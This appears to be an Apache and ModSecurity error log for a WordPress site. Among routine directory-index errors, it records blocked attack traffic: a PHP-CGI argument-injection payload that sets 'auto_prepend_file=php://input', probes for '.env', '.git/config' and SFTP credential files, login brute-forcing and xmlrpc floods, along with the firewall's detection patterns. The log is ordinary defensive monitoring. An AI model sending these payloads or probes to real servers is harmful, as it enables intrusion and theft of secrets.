[Sun Dec 21 02:44:41.737644 2025] [autoindex:error] [pid 44515:tid 44538] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:42.029254 2025] [autoindex:error] [pid 44515:tid 44536] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:49.808102 2025] [autoindex:error] [pid 44515:tid 44541] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:56.165957 2025] [autoindex:error] [pid 44515:tid 44524] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:56.470018 2025] [autoindex:error] [pid 44515:tid 44526] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:44:56.777908 2025] [autoindex:error] [pid 44515:tid 44529] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:45:04.180211 2025] [autoindex:error] [pid 44515:tid 44542] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:45:04.466167 2025] [autoindex:error] [pid 44515:tid 44524] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:45:04.775394 2025] [autoindex:error] [pid 44515:tid 44535] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:45:05.080390 2025] [autoindex:error] [pid 44515:tid 44539] [client 31.171.130.160:61859] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:46:57.926289 2025] [autoindex:error] [pid 22338:tid 22399] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:47:46.876888 2025] [autoindex:error] [pid 22338:tid 22384] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:01.598136 2025] [autoindex:error] [pid 22338:tid 22393] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:01.882181 2025] [autoindex:error] [pid 22338:tid 22387] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:15.263111 2025] [autoindex:error] [pid 22338:tid 22408] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:15.553227 2025] [autoindex:error] [pid 22338:tid 22391] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:15.833439 2025] [autoindex:error] [pid 22338:tid 22389] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:16.142199 2025] [autoindex:error] [pid 22338:tid 22385] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:18.367416 2025] [autoindex:error] [pid 22338:tid 22387] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:18.705522 2025] [autoindex:error] [pid 22338:tid 22402] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:18.995667 2025] [autoindex:error] [pid 22338:tid 22391] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:19.305393 2025] [autoindex:error] [pid 22338:tid 22388] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:48:19.602722 2025] [autoindex:error] [pid 22338:tid 22404] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:49:18.402593 2025] [autoindex:error] [pid 22338:tid 22401] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:49:38.997564 2025] [:error] [pid 8641:tid 8695] [client 13.74.255.150:5817] [client 13.74.255.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.74.255.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUbvwnE703usYSvQGLSWYAAAANA"]
[Sun Dec 21 02:49:44.254442 2025] [:error] [pid 8642:tid 8720] [client 13.74.255.150:1584] [client 13.74.255.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.74.255.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUbvyCJkiik8k41igp1GpgAAAQ8"]
[Sun Dec 21 02:50:04.423138 2025] [autoindex:error] [pid 22338:tid 22407] [client 31.171.130.108:51315] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 21 02:50:19.153413 2025] [:error] [pid 8641:tid 8696] [client 13.74.255.150:5817] [client 13.74.255.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/weblinks.php"] [unique_id "aUbv63E703usYSvQGLSXiwAAANE"]
[Sun Dec 21 02:50:19.655524 2025] [:error] [pid 8640:tid 8650] [client 13.74.255.150:4937] [client 13.74.255.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/weblinks.php"] [unique_id "aUbv6_VclzlEWWhvYtmemQAAAIA"]
[Sun Dec 21 02:50:20.157487 2025] [:error] [pid 8640:tid 8653] [client 13.74.255.150:9417] [client 13.74.255.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index4.php"] [unique_id "aUbv7PVclzlEWWhvYtmemwAAAIM"]
[Sun Dec 21 02:50:20.664907 2025] [:error] [pid 43680:tid 43693] [client 13.74.255.150:3234] [client 13.74.255.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUbv7EDkAAJVjNqC6UXUQgAAAUk"]
[Sun Dec 21 02:50:21.171564 2025] [:error] [pid 43680:tid 43708] [client 13.74.255.150:7801] [client 13.74.255.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUbv7UDkAAJVjNqC6UXUSAAAAVg"]
[Sun Dec 21 03:23:13.254373 2025] [:error] [pid 44515:tid 44537] [client 206.189.233.36:51324] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUb3oZZAdBRP9gwGvJ5-nwAAAZM"]
[Sun Dec 21 03:23:25.562088 2025] [authz_core:error] [pid 44515:tid 44540] [client 206.189.233.36:49520] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Sun Dec 21 03:23:31.083412 2025] [:error] [pid 8641:tid 8678] [client 206.189.233.36:42858] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aUb3s3E703usYSvQGLSmCAAAAMA"]
[Sun Dec 21 03:23:33.168035 2025] [:error] [pid 43680:tid 43694] [client 206.189.233.36:42866] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aUb3tUDkAAJVjNqC6UXneQAAAUo"]
[Sun Dec 21 03:59:35.725226 2025] [:error] [pid 41537:tid 41597] [client 77.83.39.157:46624] [client 77.83.39.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUcAJ1piSiHMm4tK1LOWGQAAAFU"]
[Sun Dec 21 06:41:21.024374 2025] [:error] [pid 20675:tid 20719] [client 103.65.236.149:58342] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aUcmEbyUvZnd3bHSR3YcYwAAAE0"]
[Sun Dec 21 06:41:21.713101 2025] [:error] [pid 12191:tid 12202] [client 103.65.236.149:58753] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aUcmEQM0m463UZmqdiD_zQAAAQk"]
[Sun Dec 21 06:47:40.193935 2025] [autoindex:error] [pid 20674:tid 20696] [client 83.171.248.79:52194] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Dec 21 09:23:32.061090 2025] [:error] [pid 12191:tid 12198] [client 210.1.97.122:59487] [client 210.1.97.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUdMFAM0m463UZmqdiAo_wAAAQU"]
[Sun Dec 21 09:25:29.709507 2025] [:error] [pid 20675:tid 20710] [client 210.1.97.122:60209] [client 210.1.97.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.97.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUdMibyUvZnd3bHSR3Y2nwAAAEQ"]
[Sun Dec 21 09:27:08.245467 2025] [:error] [pid 20674:tid 20690] [client 210.1.97.122:60390] [client 210.1.97.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.97.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUdM7NhSbhHOCK6TAw8_nQAAAAw"]
[Sun Dec 21 09:29:13.498288 2025] [:error] [pid 12191:tid 12205] [client 210.1.97.122:59736] [client 210.1.97.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.97.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUdNaQM0m463UZmqdiAqUAAAAQw"]
[Sun Dec 21 09:31:37.344742 2025] [:error] [pid 20674:tid 20686] [client 210.1.97.122:58526] [client 210.1.97.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.97.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUdN-dhSbhHOCK6TAw9A0AAAAAg"]
[Sun Dec 21 09:33:19.284710 2025] [:error] [pid 16016:tid 16028] [client 210.1.97.122:62282] [client 210.1.97.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.97.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUdOX8HQ_KQh3iINaCPWdQAAAUo"]
[Sun Dec 21 10:50:16.960936 2025] [:error] [pid 20760:tid 20777] [client 117.33.163.216:38574] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUdgaOXEVvRTAtWo3gnxUQAAAM4"]
[Sun Dec 21 14:53:34.995920 2025] [:error] [pid 20675:tid 20708] [client 38.246.33.200:62228] [client 38.246.33.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUeZbryUvZnd3bHSR3Z6mwAAAEI"]
[Sun Dec 21 18:17:32.259511 2025] [:error] [pid 59068:tid 59121] [client 117.2.155.13:53888] [client 117.2.155.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.2.155.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJPBmLyLqWUlrjwyc2RAAAAFQ"]
[Sun Dec 21 18:17:35.531630 2025] [:error] [pid 59158:tid 59164] [client 117.2.155.13:50474] [client 117.2.155.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.2.155.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJP47NvyNF8ab5VgXgEwAAAMQ"]
[Sun Dec 21 18:17:38.536504 2025] [:error] [pid 59067:tid 59074] [client 117.2.155.13:50490] [client 117.2.155.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.2.155.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJQstpsOP1NfIK_qIL9AAAAAA"]
[Sun Dec 21 18:17:57.175912 2025] [:error] [pid 59158:tid 59167] [client 155.94.145.228:60338] [client 155.94.145.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.94.145.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJVY7NvyNF8ab5VgXgQgAAAMc"]
[Sun Dec 21 18:17:59.618340 2025] [:error] [pid 59070:tid 59147] [client 155.94.145.228:60512] [client 155.94.145.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.94.145.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJV33dhXne9KX1kgLR0gAAAJM"]
[Sun Dec 21 18:18:02.000809 2025] [:error] [pid 59067:tid 59086] [client 155.94.145.228:60686] [client 155.94.145.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.94.145.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJWctpsOP1NfIK_qIMHAAAAAw"]
[Sun Dec 21 18:18:05.837496 2025] [:error] [pid 59158:tid 59164] [client 185.2.4.58:58966] [client 185.2.4.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJXY7NvyNF8ab5VgXgWQAAAMQ"]
[Sun Dec 21 18:18:08.592062 2025] [:error] [pid 59158:tid 59180] [client 185.2.4.58:58976] [client 185.2.4.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJYI7NvyNF8ab5VgXgZAAAANQ"]
